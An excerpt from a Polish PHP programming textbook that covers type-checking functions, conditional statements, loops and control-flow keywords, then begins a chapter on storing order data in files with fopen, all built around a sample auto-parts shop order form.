string gettype(mixed zmienna);
bool settype(mixed zmienna, string typ_zmiennej);

Aby zastosować funkcję gettype(), trzeba przekazać jej zmienną. Funkcja ta określi jej typ i zwróci
łańcuch zawierający nazwę typu: bool, integer, double (dla wartości typu float, co ze względów
historycznych może być nieco mylące), string, array, object, resource lub NULL. Jeżeli nie będzie
to żaden z wymienionych typów standardowych, funkcja zwróci wyrażenie "unknown type".

Aby zastosować settype(), trzeba przekazać jej zmienną, której typ ma zostać zmieniony, oraz
łańcuch zawierający nazwę pożądanego typu zmiennej, wybraną z powyższej listy.

Konwencja stosowana w tej książce oraz w dokumentacji php.net odnosi się do typu
danych mixed. Taki typ danych nie istnieje, ale ponieważ PHP jest tak elastyczny
w zakresie obsługi typów, wiele funkcji może pobierać jako argumenty różne (lub dowolne)
typy danych. Argumenty, które mogą różne typy danych, są oznaczane jako mixed.

Oto przykład użycia powyższych funkcji:


$a = 56;
echo gettype($a).'<br />';
settype($a, 'float');
echo gettype($a).'<br />';

Po pierwszym wywołaniu funkcji gettype() typ zmiennej $a to integer. Po wywołaniu funkcji


settype() typ zostanie zmieniony na float, choć funkcja gettype() będzie go prezentować jako
double. (Koniecznie trzeba pamiętać o tej różnicy).

PHP posiada również pewne funkcje testujące typ zmiennej, zależne od tego typu. Każda z nich
pobiera zmienną jako argument i zwraca wartość true lub false. Funkcje te są następujące:
 is_array() — sprawdza, czy zmienna jest tablicą;
 is_double(), is_float(), is_real() (funkcje równoznaczne) — sprawdza, czy zmienna
jest liczbą zmiennoprzecinkową;
 is_long(), is_int(), is_integer() (funkcje równoznaczne) — sprawdza, czy zmienna
jest liczbą całkowitą;
 is_string() — sprawdza, czy zmienna jest łańcuchem znaków;
 is_bool() — sprawdza, czy zmienna ma wartość logiczną;
 is_object() — sprawdza, czy zmienna jest obiektem;
60 Część I  Stosowanie PHP

 is_resource() — sprawdza, czy zmienna jest wskaźnikiem zasobów;


 is_null() — sprawdza, czy zmienna jest zmienną null;
 is_scalar() — sprawdza, czy zmienna jest skalarem, to znaczy czy jest typu integer,
boolean, string lub float;
 is_numeric()— sprawdza, czy zmienna ma wartość liczbową lub jest numerycznym
łańcuchem znaków;
 is_callable() — sprawdza, czy zmienna stanowi nazwę prawidłowej funkcji.

Sprawdzanie stanu zmiennej


PHP posiada kilka funkcji sprawdzających stan zmiennej. Pierwszą z nich jest isset(), która
posiada następujący prototyp:
bool isset(mixed zmienna[, mixed zmienna[,...]]);

Funkcja ta pobiera zmienną jako argument i zwraca wartość true, jeżeli dana zmienna istnieje,
lub false w przeciwnym wypadku. Można do niej przekazać także listę zmiennych oddzielonych
znakiem przecinka. Wówczas isset() zwróci wartość true, jeżeli wszystkie zmienne będą istnieć.

Można usunąć z pamięci zmienną, stosując funkcję towarzyszącą powyższej, unset(). Posiada ona
następujący prototyp:
void unset(mixed zmienna [,mixed zmienna[,...]]);

Funkcja ta pozbywa się z pamięci przekazanej jej zmiennej i zwraca wartość true.

Istnieje również funkcja empty(). Sprawdza ona, czy dana zmienna istnieje i czy posiada wartość
pustą i zerową, i zwraca odpowiednio true lub false. Posiada następujący prototyp:
boolean empty(mixed zmienna);

Oto przykład z zastosowaniem powyższych trzech funkcji.

Dodajmy tymczasowo do skryptu następujące wiersze kodu:


echo 'isset($iloscopon): '.isset($iloscopon).'<br />';
echo 'isset($niema): '. isset($niema).'<br />';
echo 'empty($iloscopon): '.empty($iloscopon).'<br />';
echo 'empty($niema): '.empty($niema).'<br />';

Odświeżmy zawartość strony i obejrzyjmy wyniki.

Zmienna $iloscopon powinna zwrócić wartość 1 (true) dla funkcji isset() niezależnie od tego, czy
w formularzu została do niej wprowadzona wartość i ile ona wynosi. Wynik funkcji empty()
zależy od wprowadzonej wartości.

Zmienna $niema nie istnieje, tak więc funkcja isset() zwróci wartość pustą (false), a funkcja
empty() wynik 1 (true).

Funkcje powyższe mogą być przydatne przy sprawdzaniu, czy użytkownik wypełnił odpowiednie
pola formularza.
Rozdział 1.  Podstawowy kurs PHP 61

Reinterpretacja zmiennych
Można osiągnąć wyniki podobne do rzutowania typu zmiennej poprzez wywołanie odpowiedniej
funkcji. Oto trzy funkcje przydatne do tego zadania:
int intval(mixed zmienna[, int baza=10]);
float floatval(mixed zmienna);
string strval(mixed zmienna);

Każda z nich pobiera na wejściu zmienną i zwraca jej wartość przekształconą na odpowiedni typ.
Funkcja intval() pozwala dodatkowo na wskazanie bazy konwersji, gdy konwertowana zmienna
jest łańcuchem znaków. W ten sposób można na przykład konwertować łańcuchy szesnastkowe
na liczby całkowite.

Podejmowanie decyzji
za pomocą instrukcji warunkowych
Struktury kontrolujące to struktury w obrębie języka, pozwalające na kontrolę przebiegu wykona-
nia programu bądź skryptu. Można podzielić je na struktury warunkowe (inaczej zwane rozgałę-
zionymi) i struktury powtarzalne, czyli pętle. Specyficzne zastosowania tych struktur w PHP
zostaną omówione poniżej.

Aby właściwie odpowiedzieć na życzenia klienta, kod musi być zdolny do podejmowania decyzji.
Konstrukcje dające programowi możliwość ich podejmowania są nazywane instrukcjami
warunkowymi.

Instrukcja if
Do podejmowania decyzji może być zastosowana instrukcja if, która powinna otrzymać warunek
użycia. Jeżeli wartość warunku wynosi true, zostanie wykonany następny fragment kodu. Warunki
w instrukcji if muszą być oznaczone nawiasami ().

Na przykład jeżeli klient nie zamówi ani opon, ani oleju, ani świec, zazwyczaj oznacza to przypad-
kowe naciśnięcie przycisku Złóż zamówienie jeszcze przed wypełnieniem formularza. W tym
wypadku powinna zostać wyświetlona wiadomość znacząca więcej niż „Zamówienie przyjęte”.

Kiedy odwiedzający stronę nic nie zamawia, powinna pojawić się wiadomość w rodzaju: „Na
poprzedniej stronie nie zostało złożone żadne zamówienie!”. Można to łatwo wykonać za pomocą
następującej instrukcji if:
if( $ilosc == 0 )
echo 'Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />';

W powyższym przykładzie został zastosowany warunek $ilosc == 0. Należy pamiętać, że operator


równości (==) zachowuje się inaczej niż operator przypisania (=).
Wartość warunku $ilosc == 0 wynosi true, jeżeli wartość zmiennej $ilosc jest równa zero. Jeśli
wartość $ilosc nie jest równa zero, warunek będzie miał wartość false. Instrukcja echo zostanie
wykonana, gdy wartość warunku wynosi true.
62 Część I  Stosowanie PHP

Bloki kodu
W poleceniu warunkowym, takim jak if, często występuje konieczność wykonania więcej niż
jednej instrukcji. Nie ma wtedy potrzeby stosowania większej liczby warunków if. Zamiast tego
można zebrać kilka instrukcji, tworząc blok. Aby zadeklarować blok, należy zamknąć go nawiasami
klamrowymi:
if($ilosc == 0) {
echo '<p style="color:red">';
echo 'Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />';
echo '</p>';
}

Powyższe trzy wiersze kodu otoczone nawiasami klamrowymi są teraz traktowane jako blok kodu.
Kiedy wartość warunku wynosi true, zostaną wykonane wszystkie trzy wiersze. Kiedy warunek
wynosi false, wszystkie zostaną zignorowane.
Jak już wspomniano, PHP nie zwraca uwagi na wygląd kodu. Zalecane jest wcinanie kodu
w celu zwiększenia jego czytelności. Ogólnie rzecz biorąc, wcinanie stosuje się w celu
łatwego sprawdzenia, które wiersze kodu zostaną wykonane w przypadku spełnienia
warunków, które instrukcje pogrupowane są w bloki, a które są częścią pętli bądź funkcji.
W powyższych przykładach wcięta została instrukcja zależna od instrukcji if oraz instrukcje
tworzące blok.

Instrukcja else
Zazwyczaj podejmuje się decyzje nie tylko co do warunków, w których zostanie wykonana instruk-
cja, lecz są opisane wszystkie możliwe działania.
Polecenie else pozwala na zdefiniowanie działania alternatywnego, podejmowanego wtedy, gdy
wartość instrukcji if wynosi false. Należy ostrzec klientów Janka, kiedy nic nie zamawiają, w prze-
ciwnym wypadku trzeba im pokazać złożone przez nich zamówienie.

Jeżeli kod przykładu ulegnie zmianie i zostanie dodana instrukcja else, to jest możliwe wyświe-
tlenie albo ostrzeżenia, albo podsumowania zamówienia.
if($ilosc == 0) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
} else {
echo htmlspecialchars($iloscopon).' opon<br />';
echo htmlspecialchars($iloscoleju).' butelek oleju<br />';
echo htmlspecialchars($iloscswiec).' świec zapłonowych<br />';
}

Można wypracować bardziej skomplikowane procesy logiczne poprzez stosowanie zagnieżdżonych


w sobie instrukcji if. W poniższym kodzie nie tylko podsumowanie zostanie wyświetlone, gdy
wartość warunku $ilosc == 0 wynosi true. Każdy wiersz podsumowania zostanie wyświetlony
jedynie w razie spełnienia jego odpowiedniego warunku.
if ($ilosc == 0) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
} else {
if ($iloscopon > 0)
echo htmlspecialchars($iloscopon).' opon<br />';
if ($iloscoleju > 0)
echo htmlspecialchars($iloscoleju).' butelek oleju<br />';
if ($iloscswiec > 0)
echo htmlspecialchars($iloscswiec).' świec zapłonowych<br />';
}
Rozdział 1.  Podstawowy kurs PHP 63

Instrukcja elseif
Dla wielu podejmowanych decyzji istnieją więcej niż dwie opcje wyboru. Można utworzyć sekwen-
cję wielu opcji, stosując instrukcję elseif, która jest połączeniem instrukcji else i if. Przy użyciu
sekwencji warunków program sprawdza każdy z nich, dopóki nie znajdzie tego, którego warunek
wynosi true.
Janek wprowadził system zniżek dla zamówień na duże ilości opon. Poniżej przedstawiono schemat
tych zniżek:
 zamówiono mniej niż 10 opon — brak zniżki,
 zamówiono 10 – 49 opon — zniżka 5%,
 zamówiono 50 – 99 opon — zniżka 10%,
 zamówiono powyżej 100 opon — zniżka 15%.

Za pomocą instrukcji if i elseif można utworzyć fragment kodu obliczający wielkość zniżki.
W takim przypadku należy użyć operatora AND (&&), aby połączyć dwa warunki w jeden.
if( $iloscopon < 10 )
$znizka = 0;
elseif( $iloscopon >= 10 && $iloscopon <= 49 )
$znizka = 5;
elseif( $iloscopon >= 50 && $iloscopon <= 99 )
$znizka = 10;
elseif( $iloscopon > 100 )
$znizka = 15;

Warto zauważyć, że można zamiennie stosować zapis elseif oraz else if — oba są poprawne.
Przy tworzeniu listy instrukcji elseif należy pamiętać, że tylko jedna z instrukcji lub ich bloków zo-
stanie wykonana. W powyższym przykładzie nie miało to znaczenia, ponieważ warunki wykluczały
się wzajemnie — tylko jeden z nich mógł być spełniony w tym samym czasie. Jeżeli nastąpi sytuacja,
w której więcej niż jeden warunek okaże się prawdziwy, zostanie wykonany tylko pierwszy z nich.

Instrukcja switch
Instrukcja switch działa na zasadach podobnych do instrukcji if, lecz w jej przypadku warunek
może mieć więcej niż dwie wartości. W przypadku instrukcji if wartość warunku wynosi jedynie
true lub false. W instrukcji switch warunek może posiadać dowolną ilość wartości. Muszą one
jednak należeć do jednego z typów prostych (integer, string lub float). Należy wprowadzić
instrukcję case dla każdej wartości oraz opcjonalnie wartość domyślną, dla której nie trzeba two-
rzyć instrukcji case.

Janek chciałby wiedzieć, jaki rodzaj reklamy jest najbardziej skuteczny. Można w tym celu dodać
do formularza zamówień odpowiednie pytanie. Wprowadźmy do formularza następujący kod
HTML. Powinno to dać wynik podobny do przedstawionego na rysunku 1.6:
<tr>
<td>Jak dowiedzieli się Państwo o sklepie Janka?</td>
<td><select name="jak">
<option value = "a">Jestem stałym klientem
<option value = "b">Reklama telewizyjna
<option value = "c">Książka telefoniczna
<option value = "d">Znajomy
</select>
</td>
</tr>
64 Część I  Stosowanie PHP

Rysunek 1.6.
Formularz zamówienia
„zapytuje” klientów
o źródło informacji
na temat sklepu

Powyższy kod HTML dodał nową zmienną formularza (o nazwie jak), której wartość wynosi
'a', 'b', 'c' lub 'd'. W następujący sposób można obsługiwać tę zmienną za pomocą serii instrukcji
if i elseif:
if($jak == "a") {
echo "<P>Stały klient.</p>";
} elseif($jak == "b") {
echo "<P>Reklama telewizyjna. </p>";
} elseif($jak == "c") {
echo "<P>Książka telefoniczna. </p>";
} elseif($jak == "d") {
echo "<P>Znajomy. </p>";
} else {
echo "<P>Źródło nieznane.</P>";
}

Alternatywnie można napisać instrukcję switch:


switch($jak) {
case "a" :
echo "<p>Stały klient.</p>";
break;
case "b" :
echo "<p>Reklama telewizyjna.</p>";
break;
case "c" :
echo "<p>Książka telefoniczna.</p>";
break;
case "d" :
echo "<p>Znajomy.</p>";
break;
default :
echo "<p>Źródło nieznane.</p>";
break;
}

(Zwróćmy uwagę, że w obu tych przykładach zakłada się, iż wartość zmiennej $jak odczytano
z tablicy $_POST).
Rozdział 1.  Podstawowy kurs PHP 65

Instrukcja switch funkcjonuje w nieco inny sposób niż instrukcje if i elseif. Polecenie if działa
tylko na jedną instrukcję, chyba że zostaną użyte nawiasy klamrowe w celu utworzenia bloku
instrukcji. Instrukcja switch działa w odwrotny sposób. Kiedy w switch zostanie włączona instrukcja
case, PHP będzie wykonywał kolejne polecenia, aż napotka instrukcję break. Bez instrukcji
przerywającej switch wykona cały kod następujący po prawdziwej wartości case. Kiedy osiągnie
instrukcję break, przeskoczy do wykonywania pierwszego wiersza kodu po poleceniu switch.

Porównanie różnych instrukcji warunkowych


Osoby nieznające zbyt dobrze instrukcji przedstawionych w poprzednich punktach mogą zapytać:
„Która z nich jest najlepsza?”.

Na to pytanie nie sposób odpowiedzieć wprost. Nie ma zadań wykonywanych za pomocą jednej
lub kilku instrukcji else, elseif lub switch, których nie dałoby się wykonać przy użyciu serii
instrukcji if. Należy stosować takie instrukcje, które czynią kod jak najbardziej czytelnym. Wraz ze
wzrostem doświadczenia decyzje takie są coraz łatwiejsze.

Powtarzanie działań przy użyciu iteracji


Do zadań, w których komputery zawsze przodowały, należy automatyzowanie powtarzanych
zadań. Jeżeli istnieje coś, co trzeba wykonać wiele razy w ten sam sposób, można użyć pętli, aby
powtórzyć pewne fragmenty programu.

Janek chciałby mieć tabelę wyświetlającą koszty transportu, które zostaną dodane do wartości
zamówienia klienta. Kurier, z którego usług korzysta, uzależnia koszty od odległości, na jaką prze-
słany zostaje dany towar. Koszt może być obliczony za pomocą prostego wzoru.

Tabela kosztów transportu powinna przypominać tę na rysunku 1.7.

Rysunek 1.7.
Tabela pokazuje koszt
transportu, zmieniający
się wraz ze wzrostem
odległości

Na listingu 1.2 przedstawiony jest kod HTML tworzący powyższą tabelę. Warto zwrócić uwagę na
to, że jest on długi i posiada powtarzające się elementy.
66 Część I  Stosowanie PHP

Listing 1.2. transport.html — kod HTML tabeli kosztów transportu Janka


<!DOCTYPE>
<html>
<head>
<title>Części samochodowe Janka - zestawienie kosztów przesyłek</title>
</head>
<body>
<table style="border: 0px; padding: 3px">
<tr>
<td style="background: #cccccc; text-align: center;">Odległość</td>
<td style="background: #cccccc; text-align: center;">Koszt</td>
</tr>
<tr>
<td style="text-align: right;">50</td>
<td style="text-align: right;">5</td>
</tr>
<tr>
<td style="text-align: right;">100</td>
<td style="text-align: right;">10</td>
</tr>
<tr>
<td style="text-align: right;">150</td>
<td style="text-align: right;">15</td>
</tr>
<tr>
<td style="text-align: right;">200</td>
<td style="text-align: right;">20</td>
</tr>
<tr>
<td style="text-align: right;">250</td>
<td style="text-align: right;">25</td>
</tr>
</table>
</body>
</html>

Do wpisania powyższego kodu znacznie wygodniej byłoby użyć taniego i niemęczącego się kom-
putera niż płatnego, nudzącego się pracownika.
Instrukcje pętli nakazują PHP powtarzające się wykonywanie instrukcji lub bloku.

Pętle while
Pętla while jest najprostszym typem pętli w PHP. Podobnie jak instrukcja if, zależy ona od
warunku. Różnica pomiędzy pętlą while a instrukcją if polega na tym, że instrukcja if wykonuje
następujący po niej blok kodu jednokrotnie, jeżeli jej warunek ma wartość true. Pętla while będzie
powtarzać wykonywanie bloku tak długo, jak jej warunek będzie miał wartość true.
Pętla while jest zazwyczaj używana w przypadkach, gdy nie wiadomo, ile iteracji trzeba wykonać,
by warunek pętli został spełniony. Jeśli liczba tych iteracji jest ściśle określona, to warto zastanowić
się nad zastosowaniem pętli for.
Podstawowa struktura pętli while jest następująca:
while( warunek ) wyrażenie

Poniższa pętla while wyświetla cyfry od 1 do 5.


Rozdział 1.  Podstawowy kurs PHP 67

$cyfra = 1;
while ($cyfra <= 5 ) {
echo $cyfra."<br />";
$cyfra++;
}

Na początku każdej iteracji sprawdzany jest warunek. Jeżeli jego wartość wynosi false, blok
nie zostanie wykonany i pętla zakończy się. Zostanie wtedy wykonana pierwsza instrukcja nastę-
pująca po pętli.
Pętla while może być zastosowana do bardziej użytecznego zadania, na przykład do wyświetlenia
tabeli kosztów transportu pokazanej na rysunku 1.7. Kod na listingu 1.3 stosuje pętlę while do
utworzenia tabeli kosztów transportu.

Listing 1.3. transport.php — tworzenie tabel kosztów transportu Janka za pomocą PHP
<!DOCTYPE>
<html>
<head>
<title>Części samochodowe Janka - zestawienie kosztów przesyłek</title>
</head>
<body>
<table style="border: 0px; padding: 3px">
<tr>
<td style="background: #cccccc; text-align: center;">Odległość</td>
<td style="background: #cccccc; text-align: center;">Koszt</td>
</tr>
<?php
$odleglosc = 50;
while ($odleglosc <= 250) {
echo "<tr>
<td style=\"text-align: right;\">".$odleglosc."</td>
<td style=\" text-align: right;\">". ($odleglosc / 10) ."</td>
</tr>\n";

$odleglosc += 50;
}

?>
</table>
</body>
</html>

Aby zwiększyć czytelność kodu HTML generowanego przez ten skrypt, należy dołączyć nowe
wiersze i znaki spacji. Jak już wspomniano, przeglądarki zignorują je, lecz okażą się one ważne
dla użytkowników. Kod HTML trzeba przeglądać często — zwłaszcza gdy dane wyjściowe nie są
takie, jak oczekiwano.
Na listingu 1.3 umieszczono wewnątrz niektórych łańcuchów znaków znaki \n. W łańcuchach
znaków ograniczonych cudzysłowem sekwencja ta reprezentuje znak nowego wiersza.

Pętle for i foreach


W poprzednim punkcie przedstawiono bardzo popularny sposób użycia pętli while. Na jej początku
została ustawiona początkowa wartość licznika. Przed każdą iteracją licznik był sprawdzany co
do zgodności z warunkiem, zaś na końcu każdej iteracji — modyfikowany.
68 Część I  Stosowanie PHP

Ten typ pętli może być zapisany w krótszy sposób, przy użyciu pętli for. Podstawowa struktura
pętli for jest następująca:
for( wyrażenie1; warunek; wyrażenie2)
wyrażenie3;

 Wyrażenie1 jest wykonywane raz, na początku. Zazwyczaj jest to początkowe ustawienie


licznika.
 Warunek jest sprawdzany przed każdą iteracją. Jeżeli jego wartość wynosi false, iteracja
zatrzymuje się. W tym miejscu zazwyczaj testuje się przekroczenie limitu licznika.
 Wyrażenie2 jest wykonywane na końcu każdej iteracji. Tutaj zazwyczaj zmienia się wartość
licznika.
 Wyrażenie3 wykonywane jest jednokrotnie podczas każdej iteracji. Wyrażenie to zazwyczaj
blok kodu, zawierający główną część kodu pętli.

Pętla while z listingu 1.3 może zostać zmieniona na pętlę for. W takim przypadku kod PHP jest
następujący:
<?php
for($odleglosc = 50; $odleglosc <= 250; $odleglosc += 50) {
echo "<tr>
<td style=\"text-align: right;\">".$odleglosc."</td>
<td style=\" text-align: right;\">". ($odleglosc / 10) ."</td>
</tr>\n";
}
?>

Funkcjonalnie wersje z pętlą while i pętlą for są identyczne. Pętla for jest jednak nieco krótsza,
dokładnie o dwa wiersze.

Oba typy pętli są równoważne — żadna z nich nie jest ani lepsza, ani gorsza od drugiej. W kon-
kretnej sytuacji używa się intuicyjnie wygodniejszej.

Nawiasem mówiąc, z pętlą for można łączyć zmienne zmiennych w celu iteracji serii podobnych
pól formularza. Na przykład jeżeli dane są pola formularza o nazwach nazwa1, nazwa2, nazwa3
itd., można wykonać na nich działanie, takie jak:
for($i=1; $i <= $ilosc_pol; $i++) {
$temp= "nazwa$i";
echo htmlspecialchars($$temp).'<br />'; // czy też jakiekolwiek inne działanie
}

Stosując dynamiczne tworzenie nazw zmiennych, można uzyskać po kolei dostęp do każdego
z tych pól.

Oprócz pętli for istnieje również pętla foreach, przeznaczona do stosowania względem tablic.
Jej zastosowanie omówimy w rozdziale 3.

Pętle do..while
Ostatni omówiony tutaj typ pętli działa w trochę inny sposób. Ogólna struktura pętli do..while
wygląda następująco:
do {
wyrażenie
}
while( warunek );
Rozdział 1.  Podstawowy kurs PHP 69

Pętla do..while różni się od pętli while tym, że warunek jest w niej testowany na końcu. Oznacza
to, że wyrażenie zawarte w pętli do..while zostanie wykonane co najmniej raz.

W poniższym przykładzie wartość warunku wynosi na początku false i nigdy nie zmieni się na
true, lecz pętla zostanie wykonana raz, zanim sprawdzony zostanie warunek i pętla zakończy się.
$cyfra = 100;
do {
echo $cyfra."<br />";
} while($cyfra < 1);

Wyłamywanie się ze struktury skryptu


Istnieją trzy sposoby na przerwanie wykonywania danego fragmentu kodu, zależnie od pożądane-
go efektu.

Aby zatrzymać wykonywanie pętli, należy zastosować instrukcję break, tak jak to zostało opisane
w podrozdziale na temat instrukcji switch. Po napotkaniu instrukcji break zostanie wykonany
pierwszy wiersz kodu za końcem pętli.

Aby przeskoczyć do następnej iteracji pętli, należy zastosować instrukcję continue.

Aby zakończyć wykonywanie całego skryptu PHP, stosuje się instrukcję exit, szczególnie przy
wykrywaniu błędów. Na przykład można zmodyfikować powyższy przykład w następujący
sposób:
if($ilosc == 0) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
exit;
}

Wywołanie funkcji exit powoduje zaprzestanie wykonywania pozostałej części skryptu PHP.

Używanie alternatywnych składni


struktur sterujących
Dla wszystkich struktur sterujących, które dotychczas analizowaliśmy, istnieją składnie alter-
natywne. Sprowadzają się one do zastąpienia otwierającego nawiasu klamrowego ({) znakiem
dwukropka (:) oraz zamykającego nawiasu klamrowego (}) jednym z nowych słów kluczowych:
endif, endswitch, endwhile, endor lub endforeach, zależnie od tego, która struktura sterująca
jest akurat używana. Jedynie dla pętli do..while składnia alternatywna nie jest dostępna.

Na przykład kod postaci:


if($ilosc == 0) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
exit;
}

można przekształcić, używając składni alternatywnej ze słowami kluczowymi if i endif:


if($ilosc == 0) :
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
exit;
endif;
70 Część I  Stosowanie PHP

Używanie struktury declare


Jeszcze jedna struktura sterująca dostępna w PHP, czyli struktura declare, nie jest używana równie
często jak inne struktury. Jej ogólna postać sterującej jest następująca:
declare (dyrektywa)
{
// blok
}

Struktury tej używa się w celu ustawienia dyrektyw wykonania dla bloku kodu, to znaczy reguł
opisujących sposób, w jaki znajdujący się dalej kod powinien zostać wykonany. Na razie zaim-
plementowano tylko dwie takie dyrektywy: ticks oraz encoding.

Pierwszej z nich, dyrektywy ticks, używa się poprzez wpisanie ticks=n. Dzięki temu możliwe
jest wykonywanie konkretnej funkcji co n-ty wiersz kodu znajdującego się wewnątrz bloku
kodu, co jest szczególnie przydatne dla celów profilowania i debugowania.

Dyrektywa encoding służy do określania sposobu kodowania konkretnego skryptu, a stosuje się
ją następująco:
declare(encoding='UTF-8');

W tym przypadku, jeśli korzystamy z przestrzeni nazw, po instrukcji declare nie możemy
umieścić bloku kodu. Więcej informacji dotyczących przestrzeni nazw podano w dalszej części
książki.

Struktura sterująca declare została tutaj wspomniana jedynie w celu zachowania kompletności.
Niektóre przykłady ukazujące sposoby używania funkcji tick zostaną przedstawione w roz-
działach 25. i 26.

W następnym rozdziale
Po lekturze tego rozdziału wiecie już, jak przyjąć złożone przez klienta zamówienie i jak nim
manipulować. W następnym zostaną przedstawione metody zachowywania zamówienia, tak aby
mogło ono być później odczytane i zrealizowane.
Rozdział 2.
Przechowywanie
i wyszukiwanie danych
W poprzednim rozdziale omówiliśmy sposoby dostępu do danych umieszczonych w formularzu
HTML i metody manipulowania nimi. Teraz przedstawiamy metody zapisywania informacji w celu
późniejszego ich wykorzystania. W większości przypadków, włączając w to przykład z poprzed-
niego rozdziału, celem jest przechowanie danych i późniejsze ich załadowanie. W tym przykładzie
należy zapamiętać zamówienie klienta, aby później je zrealizować.

W tym rozdziale opiszemy sposoby zapisania do pliku zamówienia przedstawionego w przykładzie


oraz metody późniejszego odczytania tego pliku. Pokażemy również, dlaczego takie rozwiązanie
nie zawsze jest najlepsze. Pracując z większą liczbą zamówień, powinno się zamiast niego używać
systemu zarządzania bazami danych, takiego jak MySQL.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 zapisywanie danych do późniejszego użycia,
 otwieranie pliku,
 tworzenie i zapisywanie pliku,
 zamykanie pliku,
 czytanie z pliku,
 blokowanie pliku,
 usuwanie pliku,
 inne przydatne informacje na temat plików,
 lepszy sposób obróbki danych: systemy zarządzania bazami danych.

Zapisywanie danych do późniejszego użycia


Istnieją dwa sposoby przechowywania danych — w pliku jednorodnym oraz w bazie danych.

Plik jednorodny może mieć wiele różnych formatów, lecz zazwyczaj terminem tym oznacza się
prosty plik tekstowy. W opisywanym przykładzie dane są zapisywane w pliku tekstowym, jedno
zamówienie w jednym wierszu.

Zapisywanie zamówień w taki właśnie sposób jest rozwiązaniem bardzo prostym w realizacji, ale
zarazem jest ono obarczone pewnymi ograniczeniami, co zostanie pokazane w dalszej części
rozdziału. Przy obróbce danych znacznej wielkości stosuje się zazwyczaj bazy danych. Mimo to
72 Część I  Stosowanie PHP

pliki jednorodne znajdują zastosowania i istnieją przypadki, w których wiedza na ich temat jest
konieczna.

Proces zapisu i odczytu plików w PHP przebiega tak samo jak w wielu innych podobnych języ-
kach programowania. Osoby znające język C lub skrypty powłoki Uniksa powinny bez trudu
rozpoznać podobieństwa między stosowanymi w nich procedurami.

Przechowywanie i wyszukiwanie zamówień Janka


Poniżej użyta zostanie nieco zmodyfikowana wersja formularza zamówień, przedstawionego
w poprzednim rozdziale. Na początku należy przeanalizować ten formularz i kod PHP stworzony
w celu obróbki zamówień.

Formularz został zmodyfikowany w celu łatwego uzyskania adresu klienta. Nowa wersja formularza
jest przedstawiona na rysunku 2.1.

Rysunek 2.1.
Wersja formularza
zamówień pobierająca
również adres klienta

Pole formularza zawierające adres klienta nosi nazwę adres. Podczas przetwarzania w PHP
daje ono zmienną, do której można się odwołać za pomocą jednego z następujących wyrażeń:
$REQUEST['adres'], $_POST['adres'] lub $_GET['adres'], zależnie od metody przesyłania formula-
rza (szczegóły opisaliśmy w rozdziale 1.).

W tym rozdziale każde nadchodzące zamówienie zostanie zapisane w tym samym pliku. Skon-
struowany później interfejs WWW pozwoli pracownikom Janka na przeglądanie przyjętych
zamówień.

Przetwarzanie plików
Zapisywanie danych w pliku następuje w trzech etapach. Są to:
1. Otwarcie pliku. Jeżeli dany plik nie istnieje, należy go utworzyć.
2. Zapisanie danych w pliku.
3. Zamknięcie pliku.
Rozdział 2.  Przechowywanie i wyszukiwanie danych 73

Podobnie, trójetapowo, przebiega odczytywanie danych z pliku:


1. Otwarcie pliku. Jeżeli plik nie może zostać otwarty (np. nie istnieje), fakt ten musi zostać
rozpoznany i program powinien zakończyć się w elegancki sposób (tzn. nie bombardując
użytkownika dokładnymi i niepotrzebnymi mu informacjami o błędach).
2. Odczytanie danych z pliku.
3. Zamknięcie pliku.

Przy odczytywaniu danych z pliku dostępnych jest wiele sposobów ustalania ilości pobieranych
naraz danych. Rozwiązania najczęściej stosowane zostaną opisane bardziej szczegółowo w poniż-
szych punktach. Na początek przedstawimy mechanizm otwierania plików.

Otwieranie pliku
Aby otworzyć plik w PHP, stosuje się funkcję fopen(). Otwierając plik, należy zadeklarować
sposób, w jaki będzie on używany. Sposób ten nosi nazwę trybu otwarcia pliku.

Tryby otwarcia pliku


System operacyjny serwera musi mieć informacje na temat przeznaczenia otwieranego pliku.
Musi wiedzieć, czy plik może równocześnie zostać otwarty przez inny skrypt oraz czy użytkownik
(czyli właściciel skryptu) posiada uprawnienia do dostępu do pliku i do jego modyfikacji. Przede
wszystkim tryb otwarcia pliku dostarcza systemowi operacyjnemu mechanizmu przetwarzania
żądań dostępu od innych użytkowników bądź skryptów oraz metody sprawdzania uprawnień
dostępu do konkretnych plików.

Przy otwieraniu pliku należy mieć trzy informacje:


1. Można otworzyć plik w następujących trybach: tylko do odczytu, tylko do zapisu lub
do obu tych celów.
2. Przy zapisywaniu danych w pliku można nadpisać istniejące dane bądź dodać nowe
na jego końcu. Można również opracować zgrabny sposób zakańczania programu zamiast
nadpisywania pliku na pliku, który już istnieje.
3. Przy zapisywaniu pliku przy użyciu systemu rozróżniającego pliki tekstowe i binarne
można określić dany typ.

Funkcja fopen() rozpoznaje połączenia tych trzech opcji.

Stosowanie funkcji fopen() do otwarcia pliku


Aby zapisać zamówienie klienta do pliku zamówień Janka, należy zastosować następujący wiersz
kodu:
$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'w');

Przy wywołaniu funkcja fopen spodziewa się dwóch lub trzech parametrów. Zazwyczaj stosuje
się dwa, jak pokazano w powyższym przykładzie.

Pierwszy parametr to nazwa pliku, który ma zostać otwarty. Można tu określić ścieżkę dostępu
do pliku, jak w powyższym przykładzie; plik zamowienia.txt znajduje się w katalogu zamówień.
74 Część I  Stosowanie PHP

Zastosowana została wbudowana w PHP zmienna $SERVER['DOCUMENT_ROOT'] lecz, ze względu


na uciążliwość stosowania pełnych nazw zmiennych formy, przypisaliśmy jej krótszą nazwę.

Zmienna ta wskazuje na podstawowy element drzewa katalogów serwera WWW. W wierszu


tym użyto symbolu .., oznaczającego „katalog nadrzędny katalogu macierzystego”, który ze
względu na bezpieczeństwo znajduje się poza drzewem katalogów. Nie można pozwolić na inny
sposób dostępu przez WWW do tego pliku poza dostarczanym interfejsem. Ścieżka tego typu
jest nazywana ścieżką względną, ponieważ opisuje miejsce w systemie plików w zależności od
katalogu macierzystego.

Podobnie jak w przypadku nadawania zmiennym formy krótkich nazw, na początku skryptu
należy umieścić następujący wiersz:
$document_root = $_SERVER['DOCUMENT_ROOT'];

w celu skopiowania zawartości zmiennej noszącej nazwę długą do zmiennej o krótkiej nazwie.

